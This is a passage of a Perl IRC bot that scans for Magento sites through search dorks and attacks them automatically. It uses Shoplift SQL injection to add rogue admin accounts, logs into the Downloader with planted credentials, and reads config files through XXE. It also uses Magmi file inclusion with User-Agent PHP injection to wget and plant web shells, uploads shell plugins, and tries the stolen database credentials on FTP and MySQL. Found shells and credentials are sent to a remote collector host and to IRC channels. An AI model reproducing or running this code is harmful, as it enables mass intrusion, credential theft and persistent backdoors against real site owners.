  1144.         my $testsql = "http://".$site."admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
  1145.         &get_content($testsql);
  1146.         if ($htmlx =~ /is vulnerable/) {
  1147.         my $htmlsql = &get_content($testsql);}
  1148.         my $downloader = "http://".$site."/downloader/?return=http%3A%2F%2F".$site."%2Findex.php%2Fadmin%2F";
  1149.         my $ngecek = &get_content($downloader);
  1150.         if ($ngecek =~ /Magento Downloader/) {     
  1151.         my ($useragent,$request,$response,%form);
  1152.         undef %form;
  1153.         $form{username}  = "system32";
  1154.         $form{password}  = "devil123";
  1155.         $useragent = LWP::UserAgent->new(agent => $uagent);
  1156.         $useragent->timeout(20);
  1157.         $request   = POST $downloader,\%form;
  1158.         $response  = $useragent->request($request);
  1159.         if ($response->is_success) {
  1160.         my $res = $response->content;
  1161.         if ($res =~ /Upload package file/) {
  1162.         &get_content("".$botsaver."?x=[ShopLift] http://".$site."index.php/admin - Login Success");
  1163.         &msg("$chan","99[ShopLift] http://".$site."index.php/admin - 13Login Success");
  1164.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/admin 9- 13Login Success");}
  1165.         if ($res =~ /Warning: (.*)<\/h4/ ) {
  1166.         if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
  1167.         &get_content("".$botsaver."?x=[ShopLift] http://".$site." - ".$warn."");
  1168.         &msg("$chan","99[ShopLift] http://".$site." -4 $warn");
  1169.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
  1170.         if($res =~ /Invalid/) {
  1171.         my $dirk = "admin";
  1172.         &chkbegal($site,$dirk,$chan,$engine);}}}
  1173.         my $test1x = "http://".$site."skin/error.php";
  1174.         my $test2x = "http://".$site."skin/upil.php";
  1175.         my $test3x = "http://".$site."skin/skinmain.php";
  1176.         my $test4x = "http://".$site."skin/rss.php";
  1177.         my $test5x = "http://".$site."skin/skinwizard.php";
  1178.         my $html1x = &get_content($test1x);
  1179.         if ($html1x =~ /post>Password:/) {
  1180.         &get_content("".$botsaver."?x=-SHELL- ".$test1x."");
  1181.         &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test1x."");}
  1182.         my $html2x = &get_content($test2x);#sleep(1);
  1183.         if ($html2x =~ /GIF89GHZ/) {
  1184.         if ($html2x =~ /<b><br><br>(.*)<br>/){$osx=$1;}
  1185.         &get_content("".$botsaver."?x=-SHELL- ".$test2x." (OS:".$osx.")");
  1186.         &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test2x." 9".$osx."");}
  1187.         my $html3x = &get_content($test3x);
  1188.         if ($html3x =~ /post>Password:/) {
  1189.         &get_content("".$botsaver."?x=-SHELL- ".$test3x."");
  1190.         &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test3x."");}
  1191.         my $html4x = &get_content($test4x);#sleep(1);
  1192.         if ($html4x =~ /GIF89a/) {
  1193.         &get_content("".$botsaver."?x=-SHELL- ".$test4x."");
  1194.         &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test4x."");}
  1195.         my $html5x = &get_content($test5x);
  1196.         if ($html5x =~ /post>Password:/) {
  1197.         &get_content("".$botsaver."?x=-SHELL- ".$test5x."");
  1198.         &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test5x."");}
  1199.         }
  1200.     }
  1201. }
  1202.  
  1203. sub magadmin() {
  1204.     my $chan = $_[0];
  1205.     my $bug = $_[1];
  1206.     my $dork = $_[2];
  1207.     my $engine = $_[3];
  1208.     my $count = 0;
  1209.     my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
  1210.         my $num = scalar(@list);
  1211.     if ($num > 0) {
  1212.         foreach my $site (@list) {
  1213.             $count++;
  1214.             if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
  1215.             my $test = "".$shopliftxpl."?target=http://".$site."&type=shoplift";
  1216.             my $test1 = "http://".$site."app/etc/local.xml";
  1217.             my $test2 = "http://".$site."api/xmlrpc";          
  1218.             my $injek = "http://".$site."index.php/admin/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
  1219.             my $dirk = "chanxxx";
  1220.             &get_content($test);
  1221.             &get_content($inject);
  1222.             &chkdownload($site,$dirk,$chan,$engine);
  1223.             my $html1 = &get_content($test1);
  1224.             if ($html1 =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/ ) {
  1225.             if ($html1 =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$dirs=$1;}
  1226.             if ($html1 =~ /<table_prefix><!\[CDATA\[(.*)\]\]\><\/table_prefix>/){$prefixs=$1;}
  1227.             my $injek1 = "http://".$site."index.php/".$dirs."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
  1228.             &msg("$chan","(4@3VULN)14 ".$test1."");
  1229.             &msg("$chan","(4@3VULN)15 http://".$site." 14[+]prefix:4 ".$prefixs."");
  1230.             &msg("$chan","(4@3VULN)15 http://".$site." 14[+]panel:4 ".$dirs."");
  1231.             my $execute1 = &get_content($injek1);
  1232.             &chkdownload($site,$dirs,$chan,$engine); }
  1233.             my $html2 = &get_content($test2);
  1234.             if ($html2 =~ /faultString/i ) {
  1235.             my $exl = &xxe_query($test2);
  1236.             if ($exl =~ m/PD94(.*)/){
  1237.             my $data = $1;
  1238.             my $hash = decode_base64($data);
  1239.             if ($hash =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$dir=$1;}
  1240.             if ($hash =~ /<table_prefix><!\[CDATA\[(.*)\]\]\><\/table_prefix>/){$prefix=$1;}
  1241.             my $injek2 = "http://".$site."index.php/".$dir."/Cms_Wysiwyg/directive/?forwarded=true&isIframe=true&___directive=e3tibG9jayB0eXBlPSJhZG1pbmh0bWwvcmVwb3J0X3NlYXJjaF9ncmlkIn19&filter=bnVtX3Jlc3VsdHNbZnJvbV09MCZudW1fcmVzdWx0c1tmaWVsZF9leHByXT0xPTIpO0RFTEVURSBGUk9NIGBhZG1pbl91c2VyYCBXSEVSRSB1c2VyX2lkID0gMzU7ICBERUxFVEUgRlJPTSBgYWRtaW5fcm9sZWAgV0hFUkUgdXNlcl9pZCA9IDM1OyAgSU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgdXNlcl9pZGAsIGBmaXJzdG5hbWVgLCBgbGFzdG5hbWVgLCBgZW1haWxgLCBgdXNlcm5hbWVgLCBgcGFzc3dvcmRgLCBgY3JlYXRlZGAsIGBtb2RpZmllZGAsIGBsb2dkYXRlYCwgYGxvZ251bWAsIGByZWxvYWRfYWNsX2ZsYWdgLCBgaXNfYWN0aXZlYCwgYGV4dHJhYCkgVkFMVUVTICAoMzUsJ2JhY2t1cCcsICdzeXN0ZW0zMicsICdiYWNrdXBAbWFnZW50b3MuY29tJywgJ3N5c3RlbTMyJywgJzhjNjBlZDlhMjEwZDBlZTlkNDkzYjM4ZTE0MWFlZWUzJywgJ251bGwnLCAnbnVsbCcsICdudWxsJywgMSwgMCwgMSwgJ047Jyk7ICBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKGBwYXJlbnRfaWRgLCBgdHJlZV9sZXZlbGAsIGBzb3J0X29yZGVyYCwgYHJvbGVfdHlwZWAsIGB1c2VyX2lkYCwgYHJvbGVfbmFtZWApIFZBTFVFUyAoMSwgMiwgMCwgJ1UnLCAzNSwgJ21hZ2VudCcpOzsgLS0g";
  1242.             my $execute2 = &get_content($injek2);
  1243.             &chkdownload($site,$dir,$chan,$engine);}}
  1244.             my $test1x = "http://".$site."skin/error.php";
  1245.             my $test2x = "http://".$site."skin/upil.php";
  1246.             my $test3x = "http://".$site."skin/skinmain.php";
  1247.             my $test4x = "http://".$site."skin/rss.php";
  1248.             my $test5x = "http://".$site."skin/skinwizard.php";
  1249.             my $html1x = &get_content($test1x);
  1250.             if ($html1x =~ /post>Password:/) {
  1251.             &get_content("".$botsaver."?x=-SHELL- ".$test1x."");
  1252.             &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test1x."");}
  1253.             my $html2x = &get_content($test2x);#sleep(1);
  1254.             if ($html2x =~ /GIF89GHZ/) {
  1255.             if ($html2x =~ /<b><br><br>(.*)<br>/){$osx=$1;}
  1256.             &get_content("".$botsaver."?x=-SHELL- ".$test2x." (OS:".$osx.")");
  1257.             &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test2x." 9".$osx."");}
  1258.             my $html3x = &get_content($test3x);
  1259.             if ($html3x =~ /post>Password:/) {
  1260.             &get_content("".$botsaver."?x=-SHELL- ".$test3x."");
  1261.             &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test3x."");}
  1262.             my $html4x = &get_content($test4x);#sleep(1);
  1263.             if ($html4x =~ /GIF89a/) {
  1264.             &get_content("".$botsaver."?x=-SHELL- ".$test4x."");
  1265.             &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test4x."");}
  1266.             my $html5x = &get_content($test5x);
  1267.             if ($html5x =~ /post>Password:/) {
  1268.             &get_content("".$botsaver."?x=-SHELL- ".$test5x."");
  1269.             &msg("$chanxxx","$magelogo(13,1$engine13)8 ".$test5x."");}
  1270. }}}
  1271.  
  1272. sub chkdownload {
  1273. my $site = $_[0];
  1274. my $dirr = $_[1];
  1275. my $chan = $_[2];
  1276. my $engine = $_[3];
  1277.         my $website = "http://".$site."downloader/";
  1278.         my $wbst = "http://".$site."downloader/index.php?A=settings";
  1279.         my $check = &get_content($website);
  1280.             if ($check =~ /Magento Downloader/) {                  
  1281.             my ($useragent,$request,$response,%form);
  1282.             undef %form;
  1283.             $form{username}  = "system32";
  1284.             $form{password}  = "devil123";
  1285.             $useragent = LWP::UserAgent->new(agent => $uagent);
  1286.             $useragent->timeout(10);
  1287.             $request   = POST $website,\%form;
  1288.             $response  = $useragent->request($request);
  1289.             if ($response->is_success) {               
  1290.             my $res = $response->content;
  1291.         if ($res =~ /Upload package file/ ) {
  1292.         &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site."index.php/".$dirr."/ - Login Success");
  1293.         &msg("$chan","99[ShopLift] http://".$site."index.php/".$dirr."/ - 13Login Success");
  1294.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/".$dirr."/ 9- 13Login Success");}
  1295.         if ($res =~ /Warning: (.*)<\/h4/ ) {
  1296.         if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
  1297.         &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site." - ".$warn."");
  1298.         &msg("$chan","99[ShopLift] http://".$site." -4 $warn");
  1299.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
  1300.         if($res =~ /Invalid/) {
  1301.         &chkbegal($site,$dirr,$chan,$engine);}
  1302. }}}
  1303.  
  1304. sub chkbegal {
  1305. my $site = $_[0];
  1306. my $dirr = $_[1];
  1307. my $chan = $_[2];
  1308. my $engine = $_[3];
  1309.         my $website = "http://".$site."downloader/";
  1310.         my $wbst = "http://".$site."downloader/index.php?A=settings";
  1311.         my $check = &get_content($website);
  1312.             if ($check =~ /Magento Downloader/) {                  
  1313.             my ($useragent,$request,$response,%form);
  1314.             undef %form;
  1315.             $form{username}  = "xSouL";
  1316.             $form{password}  = "gentho";
  1317.             $useragent = LWP::UserAgent->new(agent => $uagent);
  1318.             $useragent->timeout(10);
  1319.             $request   = POST $website,\%form;
  1320.             $response  = $useragent->request($request);
  1321.             if ($response->is_success) {               
  1322.             my $res = $response->content;
  1323.         if ($res =~ /Upload package file/ ) {
  1324.         &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site."index.php/".$dirr."/ - Login Success xSouL Kontol");
  1325.         &msg("$chan","99[ShopLift] http://".$site."index.php/".$dirr."/ - 13Login Success xSouL Kontol");
  1326.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site."index.php/".$dirr."/ 9- 13Login Success xSouL Kontol");}
  1327.         if ($res =~ /Warning: (.*)<\/h4/ ) {
  1328.         if ($res =~ /Warning: (.*)<\/h4/ ) {$warn=$1;}
  1329.         &get_content("".$botsaver."?x=-SHOPLIFT- http://".$site." - ".$warn."");
  1330.         &msg("$chan","99[ShopLift] http://".$site." -4 $warn");
  1331.         &msg("$chanxxx","$magelogo(13,1$engine13) 9http://".$site." 9-4 $warn");}
  1332. }}}
  1333.  
  1334. sub magsql() {
  1335.     my $chan = $_[0];
  1336.     my $bug = $_[1];
  1337.     my $dork = $_[2];
  1338.     my $engine = $_[3];
  1339.     my $count = 0;
  1340.     my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
  1341.         my $num = scalar(@list);
  1342.     if ($num > 0) {
  1343.         foreach my $site (@list) {
  1344.             $count++;
  1345.             if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
  1346.         my $test = "http://".$site."/app/etc/local.xml";
  1347.             my $test2 = "http://".$site."phpmyadmin";    
  1348.             my $html = &get_content($test);
  1349.         if ($html =~ /dbname/i )
  1350.         {
  1351.             if ($html =~ /<key><!\[\CDATA\[(.*)\]\]\><\/key>/) {$key=$1;}
  1352.             if ($html =~ /<host><!\[\CDATA\[(.*)\]\]\><\/host>/) {$serverIP=$1;}
  1353.             if ($html =~ /<username><!\[CDATA\[(.*)\]\]\><\/username>/){$user=$1;}
  1354.             if ($html =~ /<password><!\[CDATA\[(.*)\]\]\><\/password>/){$pass=$1;}
  1355.             if ($html =~ /<dbname><!\[CDATA\[(.*)\]\]\><\/dbname>/){$dbname=$1;}
  1356.             if ($html =~ /<frontName><!\[CDATA\[(.*)\]\]\><\/frontName>/){$adminpage=$1;}
  1357.             my $check = &get_content("http://".$site."phpmyadmin");
  1358.             if ($check =~ /phpMyAdmin/) {
  1359.             &get_content("".$botsaver."?x=-PHPMYADMIN- http://".$site."phpmyadmin");
  1360.             &msg("$chanxxx","$magelogo13 Hacked 13(4@13phpMyAdmin)  http://".$site."phpmyadmin");}
  1361.             my $checker = &get_content("http://".$site."phpinfo.php");
  1362.             if ($checker =~ /DOCUMENT_ROOT/) {
  1363.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."phpinfo.php");
  1364.             &msg("$chanxxx","$magelogo13 Hacked 13(4@13Info)  http://".$site."phpinfo.php");}
  1365.             my $checkerz = &get_content("http://".$site."info.php");
  1366.             if ($checkerz =~ /DOCUMENT_ROOT/) {
  1367.             &get_content("".$botsaver."?x=-PHPINFO- http://".$site."info.php");
  1368.             &msg("$chanxxx","$magelogo13 Hacked 7(4@7Info)  http://".$site."info.php");}
  1369.             &get_content("".$botsaver."?x=-DATABASE- http://".$site." - Hostname: ".$serverIP." - Username: ".$user." - Password: ".$pass." - DBName: ".$dbname." - Panel: ".$adminpage." [+]key: ".$key."");
  1370.             &msg("$chan","4$magelogo4 6[+]Database[+]6 11http://".$site."11 6[+]hostname:6 11".$serverIP."11 6[+]username:6 11".$user."11 6[+]password:6 11".$pass."11 6[+]dbname:6 11".$dbname."11 6[+]admipage:6 11".$adminpage."11 6[+]key:6 11".$key."11");
  1371.             &msg("$chanxxx","4$magelogo4 6[+]Database[+]6 11http://".$site."11 6[+]hostname:6 11".$serverIP."11 6[+]username:6 11".$user."11 6[+]password:6 11".$pass."11 6[+]dbname:6 11".$dbname."11 6[+]admipage:6 11".$adminpage."11 6[+]key:6 11".$key."11");
  1372.             if ($user =~ /_/) {@users = split("_", $user); $usr = $users[0];}
  1373.             my $ceklog = "".$ftpxpl."?host=".$site."&user=".$usr."&pass=".$pass."";
  1374.             my $ceklog2 = "".$ftpxpl."?host=".$site."&user=".$user."&pass=".$pass."";
  1375.             my $ftplog = &get_content($ceklog);
  1376.             my $ftplog2 = &get_content($ceklog2);
  1377.                 if ($ftplog =~ /FTP success!/) {
  1378.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$usr." - Password:".$pass."");
  1379.                     &msg("$chanxxx","$magelogo13[+]FTP[+] ftp://".$site." [+]username:".$usr." [+]password:".$pass."");
  1380.                 }
  1381.                 if ($ftplog2 =~ /FTP success!/) {
  1382.                     &get_content("".$botsaver."?x=-FTP- ftp://".$site." - Username:".$user." - Password:".$pass."");
  1383.                     &msg("$chanxxx"," $magelogo13[+]FTP[+] ftp://".$site." [+]username:".$user." [+]password:".$pass."");
  1384.                 }
  1385.             my $port = "3306";
  1386.             my $platform = "mysql";
  1387.             my $dsn = "dbi:$platform:$dbname:$site:$port";
  1388.             my $DBIconnect=  DBI->connect($dsn,$user,$pass);
  1389.         if ($DBIconnect) {
  1390.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$serverIP." - Username:".$user." - Password:".$pass." - DBName:".$dbname."");
  1391.         &msg("$chan","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."  6] [4 Connected 4]");
  1392.         &msg("$chanxxx","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."  6] [4 Connected 4]");
  1393.     }
  1394.             my $dsn2 = "dbi:$platform:$dbname:$serverIP:$port";
  1395.             my $DBIconnect2 = DBI->connect($dsn2,$user,$pass);
  1396.         if ($DBIconnect2) {
  1397.         &get_content("".$botsaver."?x=-MYSQL- http://".$site." - Hostname:".$serverIP." - Username:".$user." - Password:".$pass." - DBName:".$dbname."");
  1398.         &msg("$chan","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."  6] [4 Connected 4]");
  1399.         &msg("$chanxxx","$magelogo6[+]MYSQL[+] 6[ 6http://".$site." [+]hostname:".$serverIP." [+]username:".$user." [+]password:".$pass." [+]dbname:".$dbname."  6] [4 Connected 4]");
  1400.         }
  1401.     }
  1402.     }
  1403.     }
  1404.  }
  1405.  
  1406. sub xxe_query() {
  1407.   my $jembut = $_[0];
  1408.   my $userAgent = LWP::UserAgent->new(agent => 'perl post');
  1409.           $b = "<?xml version=\"1.0\"?>";
  1410.           $b .= "<!DOCTYPE foo [<!ELEMENT methodName ANY ><!ENTITY xxe SYSTEM \"php://filter/read=convert.base64-encode/resource=app/etc/local.xml\"> ]>";
  1411.           $b .= "<methodCall><methodName>&xxe;</methodName></methodCall>";
  1412.   my $response = $userAgent->request(POST $jembut , Content_Type => 'text/xml', Content => $b);
  1413.   return $response->content;
  1414. }
  1415.  
  1416. sub magelfi() {
  1417.     my $chan = $_[0];
  1418.     my $bug = $_[1];
  1419.     my $simpan = $_[2];
  1420.     my $dork = $_[3];
  1421.     my $engine = $_[4];
  1422.     my $count = 0;
  1423.     my @totexploit = &search_engine($chan,$bug,$dork,$engine,$magelogo);
  1424.     my $num = scalar(@totexploit);
  1425.     if ($num > 0){
  1426.         foreach my $site(@totexploit){
  1427.         $count++;
  1428.         if ($count == $num-1) { &msg("$chan","$magelogo 4$engine 0 Selesai"); }
  1429.         my $bug = "/magmi/web/ajax_pluginconf.php?file=";
  1430.         my $dir = "../../../../../../../../../../../";
  1431.        
  1432.             my $test = "http://".$site.$bug.$dir."/etc/passwd&plugintype=utilities&pluginclass=CustomSQLUtility";
  1433.             my $vuln = "http://".$site."magmi/web/ajax_pluginconf.php?file=../../../../../../../../../../../proc/self/environ&plugintype=utilities&pluginclass=CustomSQLUtility";
  1434.             my $htmlx = &get_content($testx);
  1435.             my $shell = "http://".$site."/magmi/web/rss.php";;
  1436.             my $html = get_content($vuln);
  1437.             if ($html =~ /DOCUMENT_ROOT=\// && $html =~ /HTTP_USER_AGENT=/) {
  1438.                 if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1439.                         if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  1440.                             my $sys = $1;
  1441.                             my $code = 'echo "s4l1ty#".php_uname()."#s4l1ty"; if(@copy("'.$lfiinjector.'","/")) { echo "SUCCESS"; }';
  1442.                             my $version = 'echo "Indonesiancoder".php_uname().';
  1443.                             my $upload = 'system("wget '.$lfishell.' -O rss.php");';
  1444.                             my $upload1 = 'system("wget '.$lfishell.' -O rss.php");';
  1445.                             my $wget = lfi_env_query($vuln,encode_base64($upload)); sleep(2);
  1446.                             my $wget1 = lfi_env_query($test,encode_base64($upload1)); sleep(2);
  1447.                             my $check = get_content("http://".$site."/magmi/web/rss.php"); sleep(1);
  1448.                             if ($check =~ /GIF675ER/) {
  1449.                                 if ($check =~ /Kernel:(.*?)<\/b>/){$os=$1;}
  1450.                                    &msg("$chanxxx","$magelogo15(09@03$engine15)04 ".$shell." 15(9@3".$os."15)");
  1451.                                    &msg("$chan","$magelogo15(09@03$engine15)04 ".$site." 15(9@3".$os."TusbolleD15) TusBoleD");
  1452.                                    sleep(2);
  1453.                                 } else {
  1454.                                    &msg("$chan","$magelogo15(09@3$engine15)15(09@04SysTem15)4 ".$vuln." 15(09@03".$sys."15) VulN");
  1455.  
  1456.                                 sleep(2);
  1457.                             }
  1458.                         } exit; }                    
  1459.                     }
  1460.                 }
  1461.             }
  1462.         }
  1463.     }
  1464. }
  1465.  
  1466. sub lfi_env_query() {
  1467.     my $url = $_[0];
  1468.     my $code = $_[1];
  1469.     my $ua = LWP::UserAgent->new(agent => "<?eval(base64_decode('".$code."'));?>");
  1470.     $ua->timeout(7);
  1471.     my $req = HTTP::Request->new(GET => $url);
  1472.     my $res = $ua->request($req);
  1473.     return $res->content;
  1474. }
  1475.  
  1476. sub mageupl() {
  1477.     my $chan = $_[0];
  1478.     my $bug = $_[1];
  1479.     my $dork = $_[2];
  1480.     my $engine = $_[3];
  1481.     my $count = 0;
  1482.     my @list = &search_engine($chan,$bug,$dork,$engine,$magelogo);
  1483.         my $num = scalar(@list);
  1484.     if ($num > 0) {
  1485.         foreach my $site (@list) {
  1486.             $count++;
  1487.             if ($count == $num-1) { &msg("$chan","$magelogo14(4$engine14)3 Finished..."); }
  1488.         my $test = "http://".$site."/magmi/web/magmi.php";
  1489.         my $test1 = "http://".$site."/magmi/conf/magmi.ini";
  1490.         my $crot = "http://".$site."/magmi/web/plugin_upload.php";         
  1491.         my $htmlx = magento_query($crot);sleep(1);
  1492.         my $htmlx = magentox_query($test);sleep(1);
  1493.         my $html = &get_content($test);
  1494.         my $html1 = &get_content($test1);
  1495.  
  1496.             if ($html =~ /magmi_saveconfig.php/){          
  1497.             &msg("$chan","$magelogo 6 4 Hacked 6 http://".$site."magmi/web/magmi.php");}
  1498.  
  1499.             if ($html1 =~ /DATABASE/){
  1500.             &get_content("".$botsaver."?x=-MAGMI- http://".$site."magmi/conf/magmi.ini");                    
  1501.             &msg("$chan","$magelogo 6 4 Hacked 6 http://".$site."magmi/conf/magmi.ini");}
  1502.            
  1503.             if ($htmlx =~ /Plugin packaged installed/){
  1504.             &get_content("".$botsaver."?x=-UPLOADER- http://".$site."magmi/web/magmi.php");
  1505.             #&msg("$chan","$magelogo(11,1$engine11)8 http://".$site."magmi/web/magmi.php");
  1506.             &msg("$chanxxx","$magelogo(13,1$engine13)8 http://".$site."magmi/web/magmi.php");}
  1507.         my $check = &get_content("http://".$site."magmi/plugins/rss.php");sleep(1);
  1508.             if ($check =~ /GIF675ER/) {
  1509.             &get_content("".$botsaver."?x=-SHELL- http://".$site."/magmi/plugins/rss.php");        
  1510.             &msg("$chanxxx","7,1[47] http://".$site."/magmi/plugins/rss.php 9");
  1511.             }          
  1512.         }
  1513.     }
  1514. }
  1515.  
  1516. sub magento_query() {
  1517.         my $url = $_[0];
  1518.         my $ua  = LWP::UserAgent->new(agent => $uagent);
  1519.         $ua->timeout(20);
  1520.             my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_shell"]]);
  1521.             return $req->content;
  1522. }
  1523.  
  1524. sub magentox_query() {
  1525.         my $url = $_[0];
  1526.         my $ua  = LWP::UserAgent->new(agent => $uagent);
  1527.         $ua->timeout(20);
  1528.         my $req = $ua->post($url,Content_Type=>'multipart/form-data',Content=>["plugin_package"=>["$mag_shell"]]);
  1529.         return $req->content;
  1530. }
  1531.  
  1532. sub revlfd() {
  1533.     my $chan = $_[0];
  1534.     my $bug = $_[1];
  1535.     my $simpan = $_[2];
  1536.     my $dork = $_[3];
  1537.     my $engine = $_[4];
  1538.     my $count = 0;
  1539.     my @list = &search_engine($chan,$bug,$dork,$engine,$revlogo);
  1540.     my $num = scalar(@list);
  1541.     if ($num > 0){
  1542.         foreach my $site(@list){
  1543.         $count++;
  1544.         if ($count == $num-1) { &msg("$chan","$revlogo 4$engine 0 Selesai"); }
